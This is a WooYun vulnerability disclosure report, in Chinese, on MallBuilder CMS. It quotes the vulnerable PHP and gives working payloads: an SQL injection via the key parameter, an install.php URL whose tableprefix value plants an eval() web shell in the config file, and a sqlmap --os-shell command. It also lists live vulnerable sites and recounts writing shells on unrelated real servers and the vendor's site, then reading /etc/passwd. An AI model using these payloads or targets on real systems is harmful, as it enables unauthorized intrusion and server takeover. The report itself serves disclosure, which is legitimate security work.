当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0107827

漏洞标题:MallBuilder#全版本前台无限制Getshell(两处)&5.8的注入

相关厂商:shop-builder.cn

漏洞作者: 浅蓝

提交时间:2015-04-17 11:13

修复时间:2015-07-19 14:38

公开时间:2015-07-19 14:38

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-04-17: 细节已通知厂商并且等待厂商处理中
2015-04-20: 厂商已经确认,细节仅向厂商公开
2015-04-23: 细节向第三方安全合作伙伴开放
2015-06-14: 细节向核心白帽子及相关领域专家公开
2015-06-24: 细节向普通白帽子公开
2015-07-04: 细节向实习白帽子公开
2015-07-19: 细节向公众公开

简要描述:

MallBuilder#全版本前台无限制Getshell(两处)&5.8的注入

详细说明:

/includes/smarty_config.php

//搜索词入库
if(!empty($_GET['key']))
{
$db->query("select id from ".SWORD." where keyword='$_GET[key]'");
if($db->fetchField('id'))
$sql="update ".SWORD." set nums=nums+1 where keyword='$_GET[key]'";
else
{
include_once('lib/allchar.php');
$str=addslashes(c($_GET['key']));
$_GET['key']=htmlspecialchars($_GET['key']);
$sql="insert into ".SWORD." (keyword,char_index,nums) values ('$_GET[key]','$str','1')";
}
$db->query($sql);
}


如果$_GET[key]不为空 则执行以下sql
$db->query("select id from ".SWORD." where keyword='$_GET[key]'");
$_GET[key]没有过滤
话说你在后面加了转义。。为什么就不能给key也转义下呢。。

7`Q68(()3UUFU%TEYK[2R18.png


install/install.php
只给index.php做了lock文件验证 install.php为什么不验证下呢
随手找了几个 连官网demo都有。
http://democn.mall-builder.com/install/install.php
http://zswang.com.cn/install/install.php
http://www.ycxsd.com/install/install.php
http://kch100.com/install/install.php
http://www.junpinjie.cn/install/install.php

<?php 
/**
* 安装程序
* @copyright Copyright (C) 2011 中国万网互联网解决方案事业部
* @author bruce lee liyongqing2008@gmail.com
* @access public
* @package system
*/
//设置当前系统标识
define('IN_HICHINA', TRUE);
//获取动作参数
$action = $_GET['action'];
//错误代码配置
$a_error =array
(
"101" => array("msg" => "网络传输错误", "description" => "Get发送或接收数据失败"),
"102" => array("msg" => "参数不完整", "description" => "无参数或参数个数不对"),
"103" => array("msg" => "身份不合法", "description" => "无权限调用接口"),
"104" => array("msg" => "解压缩失败", "description" => "压缩程序和解压缩程序不匹配"),
"105" => array("msg" => "配置文件未找到", "description" => "配置文件未找到"),
"106" => array("msg" => "配置文件内容不合法", "description" => "配置文件内容不合法"),
"107" => array("msg" => "请求地址无效", "description" => "独立应用接口文件不存在或无法打开"),
"108" => array("msg" => "配置文件无法修改", "description" => "配置文件无法修改"),
"111" => array("msg" => "参数不正确", "description" => "参数长度超长或类型不匹配"),
"112" => array("msg" => "接口已失效", "description" => "接口已超时"),
"113" => array("msg" => "安装失败", "description" => "安装失败"),
"114" => array("msg" => "运行检测失败", "description" => "检测到应用无法正常执行"),
"121" => array("msg" => "安装应用失败", "description" => "安装应用失败"),
"122" => array("msg" => "安装结果检测失败", "description" => "应用安装成功但运行检测失败"),
"131" => array("msg" => "无法连接数据库或数据库服务器无响应", "description" => "无法连接数据库或数据库服务器无响应"),
"132" => array("msg" => "添加账户失败", "description" => "添加管理员账户失败"),
"200" => array("msg" => "ok", "description" => "ok")
);
//输出XML
function outputXml($code)
{
global $a_error;
header("content-type: text/xml");
echo '<?xml version="1.0" encoding="utf-8"?>
<rsp>
<c0de>' . $code . '<c0de> // c0de换成code 这里被当做乌云的code标签了
<msg>' . $a_error[$code]['msg'] . '</msg>
</rsp>';
exit();
}
//安装应用
//http://localhost/b2b/install/install.php?action=setup&dbhost=localhost&port=3306&dbname=hichina001_db&dbuser=root&dbpassword=root&tableprefix=b2bbuilder_&guid=6F9619FF-8B86-D011-B42D-00C04FC964FF
if($action == "setup")
{
//检查参数是否完整
$dbhost = $_GET['dbhost'];
$port = $_GET['port'];
$dbname = $_GET['dbname'];
$dbuser = $_GET['dbuser'];
$dbpassword = $_GET['dbpassword'];
$tableprefix = $_GET['tableprefix'];
$guid = $_GET['guid'];
if(!$port)
$port = 3306;
if ($dbhost && $port && $dbname && $dbuser && $dbpassword && $tableprefix && $guid)
{

file_put_contents("db.txt", $dbhost.'|'.$port .'|'.$dbname .'|'.$dbuser .'|'.$dbpassword .'|'.$tableprefix.'|'.$guid);
$link = mysql_connect($dbhost . ":" . $port, $dbuser, $dbpassword);
if($link)
{
mysql_query("CREATE DATABASE IF NOT EXISTS `".$dbname."`;", $link);
mysql_query("SET NAMES 'utf8',character_set_client=binary,sql_mode='';",$link);
$link2 = mysql_select_db($dbname, $link);
if($link2)
{
//==========================================================更新进度
file_put_contents('progress.txt', 10);
//安装步骤1. 创建数据库结构
$sqlfile = 'B2Bbuilder.sql';
$query = '';
$fp = fopen(dirname(__FILE__).'/' . $sqlfile,'r');
while($mysql=GetNextSQL())
{
mysql_query($mysql);
}
fclose($fp);
//---------------------------------
$rurl=$_SERVER ['HTTP_HOST'].$_SERVER['PHP_SELF'];
$aurl = explode("/", $rurl);
$realurl='';
for($i=0;$i<count($aurl)-2;$i++)
$realurl=$realurl.$aurl[$i]."/";
$realurl="http://".$realurl;
$realurl=substr($realurl,0,-1);


$burl=explode(".",$realurl);
$pb=array_shift($burl);
$baseurl=str_replace($pb.'.','',$_POST["weburl"]);
$baseurl=str_replace('http://','',$_POST["weburl"]);
$baseurl=explode('/',$baseurl);
$baseurl=$baseurl[0];
if(substr($baseurl,0,3)=='loc'||substr($baseurl,0,3)=='127')
mysql_query("update ".$tableprefix."web_config set `value`='' where `index`='baseurl'");
else
mysql_query("update ".$tableprefix."web_config set `value`='".$baseurl."' where `index`='baseurl'");
mysql_query("update ".$tableprefix."web_config set `value`='$realurl' where `index`='weburl'");
//写系统配置文件
$rsid=mysql_query("select * from ".$tableprefix."web_config");
$arr=array(); $configs=array();
while($row=mysql_fetch_array($rsid))
{
$arr[] = $row;
}
foreach($arr as $v)
{
$index=$v['index'];
$value=$v['value'];
$configs[$index]=$value;
}
$write_config_con_array=$configs;
$write_config_con_str=serialize($write_config_con_array);//将数组序列化后生成字符串
$write_config_con_str='<?php $config = array_merge($config, unserialize(\''.$write_config_con_str.'\'));?>';//生成要写的内容
$cfp=fopen(dirname(__FILE__).'/../config/web_config.php','w');
fwrite($cfp,$write_config_con_str,strlen($write_config_con_str));//将内容写入文件.
fclose($cfp);
//======================================================更新进度
file_put_contents('progress.txt', 30);

/*
//安装步骤2. 导入测试数据
$sqlfile = 'data.txt';
$query = '';
$fp = fopen(dirname(__FILE__).'/' . $sqlfile,'r');
while(!feof($fp))
{
$line = rtrim(fgets($fp, 1024));
if(preg_match("#;$#", $line))
{
$query .= $line;
$query = str_replace('{tableprefix}',$tableprefix,$query);
$rs = mysql_query($query,$link);
$query='';
} else if(!preg_match("#^(\/\/|--)#", $line))
{
$query .= $line;
}
}
fclose($fp);
*/
//更新进度
file_put_contents('progress.txt', 70);
//=======================================================安装步骤3. 配置文件修改
$contents='<?php
$config[\'dbhost\'] = \''.$dbhost.'\'; //数据库所在IP地址
$config[\'dbuser\'] = \''.$dbuser.'\'; //数据库用户
$config[\'dbpass\'] = \''.$dbpassword.'\'; //数据库密码
$config[\'dbname\'] = \''.$dbname.'\'; //数据库名
$config[\'port\'] = \''.$port.'\'; //端口
$config[\'table_pre\']=\''.$tableprefix.'\'; //数据库表前缀
$config[\'authkey\']=\''.md5(time().rand(0,100000)).'\'; //数据库表前缀
?>';
$filename = dirname(__FILE__)."/../config/config.inc.php";
$cfp = fopen($filename,'w');
fwrite($cfp,$contents);
fclose($cfp);
//更新进度
file_put_contents('progress.txt', 100);
outputXml('200');
}
else
{
//数据库连接失败
outputXml('131');
}
mysql_close($link);
}
else
{
//数据库服务器连接失败
outputXml('131');
}
}
else
{
//参数不正确
outputXml('102');
}
}
//安装结果监测
//http://localhost/b2b/install/install.php?action=check&guid=6F9619FF-8B86-D011-B42D-00C04FC964FF
if($action == "check")
{
$guid = $_GET['guid'];
if($guid)
{
$progress = file_get_contents('progress.txt');
header("content-type: text/xml");
echo '<?xml version="1.0" encoding="utf-8"?>
<rsp>
<c0de>200</c0de> // !!!注意 0是o 这里的代码被乌云当做code标签了
<msg>' .$progress . '</msg>
</rsp>';
}
else
{
//参数不正确
outputXml('102');
}
}
//http://localhost/b2b/install/install.php?action=addadmin&adminuser=admin&adminpassword=1234
//增加管理员
if($action == "addadmin")
{
$guid = '';
$adminuser = $_GET['adminuser'];
$adminpassword = md5(trim($_GET['adminpassword']));

if ($adminuser && $adminpassword)
{
$dbinfo = file_get_contents("db.txt");
$a_dbinfo = explode("|", $dbinfo);
$dbhost = $a_dbinfo[0];
$port = $a_dbinfo[1];
$dbname = $a_dbinfo[2];
$dbuser = $a_dbinfo[3];
$dbpassword = $a_dbinfo[4];
$tableprefix = $a_dbinfo[5];
$guid = $a_dbinfo[6];
$link = mysql_connect($dbhost, $dbuser, $dbpassword);
!$link?print("xxx"):"";
if($link)
{
$link2 = mysql_select_db($dbname, $link);
if($link2)
{
// 创建后台管理员测试帐号
mysql_query("insert into ".$tableprefix."admin (password,user,type) value ('$adminpassword','$adminuser','1')");
$result = mysql_query($sql);
outputXml('200');
}
else
{
//数据库连接失败
outputXml('131');
}
mysql_close($link);
}
else
{
//数据库服务器连接失败
outputXml('131');
}
}
else
{
//参数不正确
outputXml('102');
}
}
//==============================================
function GetNextSQL()
{
global $fp,$tableprefix;
$sql="";
while ($line = @fgets($fp, 40960))
{
$line = trim($line);
//以下三句在高版本php中不需要
$line = str_replace("\\\\","\\",$line);
$line = str_replace("\'","'",$line);
$line = str_replace("\\r\\n",chr(13).chr(10),$line);
$line = stripcslashes($line);
if (strlen($line)>1)
{
if ($line[0]=="-" && $line[1]=="-")
{
continue;
}
}
$sql.=$line.chr(13).chr(10);
if (strlen($line)>0)
{
if ($line[strlen($line)-1]==";")
{
break;
}
}
}
$sql=str_replace("b2bbuilder_",$tableprefix,$sql);
return $sql;
}
?>


首先需要准备一个数据库 (自己的)
然后构造个URL
xxx/install/install.php?action=setup&dbhost=地址&port=端口&dbname=数据库名&dbuser=账号&dbpassword=密码&tableprefix=数据表前缀&guid=6F9619FF-8B86-D011-B42D-00C04FC964FF(不知道这是什么鬼)
如果($dbhost && $port && $dbname && $dbuser && $dbpassword && $tableprefix && $guid)这个参数都有了 则

file_put_contents("db.txt", $dbhost.'|'.$port .'|'.$dbname .'|'.$dbuser .'|'.$dbpassword .'|'.$tableprefix.'|'.$guid);


将他们声称在install目录下的db.txt

$link = mysql_connect($dbhost . ":" . $port, $dbuser, $dbpassword);


然后如果数据库能够正常连接 则在那个数据库新建一个数据库
然后如果上面的命令执行完毕

file_put_contents('progress.txt', 10);
//安装步骤1. 创建数据库结构
$sqlfile = 'B2Bbuilder.sql';
$query = '';
$fp = fopen(dirname(__FILE__).'/' . $sqlfile,'r');


由于根目录没有B2Bbuilder.sql 这个文件。。所以不能重装。。 到这里就会出错

4((HKR_}S2V4FBP{2D)[(A9.png


~IBLM_6M`Y]DZV`CKJ3Z2RQ.png


监控中 可以看到新建了个数据库
再接着往下看

$contents='<?php
$config[\'dbhost\'] = \''.$dbhost.'\'; //数据库所在IP地址
$config[\'dbuser\'] = \''.$dbuser.'\'; //数据库用户
$config[\'dbpass\'] = \''.$dbpassword.'\'; //数据库密码
$config[\'dbname\'] = \''.$dbname.'\'; //数据库名
$config[\'port\'] = \''.$port.'\'; //端口
$config[\'table_pre\']=\''.$tableprefix.'\'; //数据库表前缀
$config[\'authkey\']=\''.md5(time().rand(0,100000)).'\'; //数据库表前缀
?>';
$filename = dirname(__FILE__)."/../config/config.inc.php";
$cfp = fopen($filename,'w');
fwrite($cfp,$contents);
fclose($cfp);


在同一个if判断的条件下 有这么几句代码
就是把$contents写到config/config.inc.php里
由于链接地址端口数据库和账号密码都是条件中必须的。
authkey又不可控 只有数据表前缀可以了。。
构造URL GET提交

http://localhost/MallBuilder/install/install.php
?action=setup
&dbhost=localhost
&port=3306
&dbname=xxxxx
&dbuser=root
&dbpassword=root
&tableprefix=xxxx';eval($_REQUEST[xsec]);//
&guid=xxxx


BFF$IG%2~QTAH)O})4F@U45.png

一句话被写进去了

X6%{{EN[$[PK}BEK{U4I{$F.png


再说说另外一处getshell
也是在同样的文件 install.php
216行

if($action == "addadmin")
{
$guid = '';
$adminuser = $_GET['adminuser'];
$adminpassword = md5(trim($_GET['adminpassword']));

if ($adminuser && $adminpassword)
{
$dbinfo = file_get_contents("db.txt");
$a_dbinfo = explode("|", $dbinfo);
$dbhost = $a_dbinfo[0];
$port = $a_dbinfo[1];
$dbname = $a_dbinfo[2];
$dbuser = $a_dbinfo[3];
$dbpassword = $a_dbinfo[4];
$tableprefix = $a_dbinfo[5];
$guid = $a_dbinfo[6];
$link = mysql_connect($dbhost, $dbuser, $dbpassword);
!$link?print("xxx"):"";
if($link)
{
$link2 = mysql_select_db($dbname, $link);
if($link2)
{
// 创建后台管理员测试帐号
mysql_query("insert into ".$tableprefix."admin (password,user,type) value ('$adminpassword','$adminuser','1')");
$result = mysql_query($sql);
outputXml('200');
}
else
{
//数据库连接失败
outputXml('131');
}
mysql_close($link);
}
else
{
//数据库服务器连接失败
outputXml('131');
}
}
else
{
//参数不正确
outputXml('102');
}
}


除过if判断 他先读了db.txt 然后用|分割

$link = mysql_connect($dbhost, $dbuser, $dbpassword);


然后再连接数据库
如果连接成功了 则insert一个管理员

$link2 = mysql_select_db($dbname, $link);
if($link2)
{
// 创建后台管理员测试帐号
mysql_query("insert into ".$tableprefix."admin (password,user,type) value ('$adminpassword','$adminuser','1')");
$result = mysql_query($sql);
outputXml('200');


2R%F$T9}E4H2_@}(F{)UGKP.png


那么问题来了,怎么getshell?
他这个首先读了db.txt 而db.txt 我们可控 上面已经说过了 提交这个URL就会在db.txt生成

http://localhost/MallBuilder/install/install.php?action=setup&dbhost=localhost&port=3306&dbname=xxxxx&dbuser=root&dbpassword=root&tableprefix=xxxx&guid=xxxx


localhost|3306|xxxxx|root|root|xxxx|xxxx
只要数据库是root权限的数据库就行。
连接后 直接这条语句
insert into ".$tableprefix."admin (password,user,type) value ('$adminpassword','$adminuser','1')
adminpassword和adminuser可控 密码被md5加密 adminuser无过滤
既然数据库是root权限 那就可以写shell了# 不过前提得知道绝对路径

sqlmap.py -u "http://localhost/MallBuilder/install/install.ph
p?action=addadmin&adminpassword=xxxxx&adminuser=" --os-shell


NRBIW`JDXM5D(QI4MVJC1(9.png

有好多文件都报错的
先百度随便找个站测试

CC2LSA((2)TJU~Y5R}M9PGN.png


X`%U2EL{~MGLKQ[%JC)L6$4.png


成功写入shell 并读etc/passwd
接着拿官网测试

%QT`RNY3PAC3SV((RQBXDAF.png


Z7W@TFH992ROWA{63I[8Y95.png


写完shell我好像就被服务器给屏蔽了。。打不开

漏洞证明:

X6%{{EN[$[PK}BEK{U4I{$F.png

修复方案:

版权声明:转载请注明来源 浅蓝@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:5

确认时间:2015-04-20 14:36

厂商回复:

谢谢!正在处理中

最新状态:

暂无


漏洞评价:

评论

  1. 2015-06-17 12:50 | 明月影 ( 路人 | Rank:12 漏洞数:8 | 学姿势,学思路。)

    不晓得是不是审计的?给不给你礼物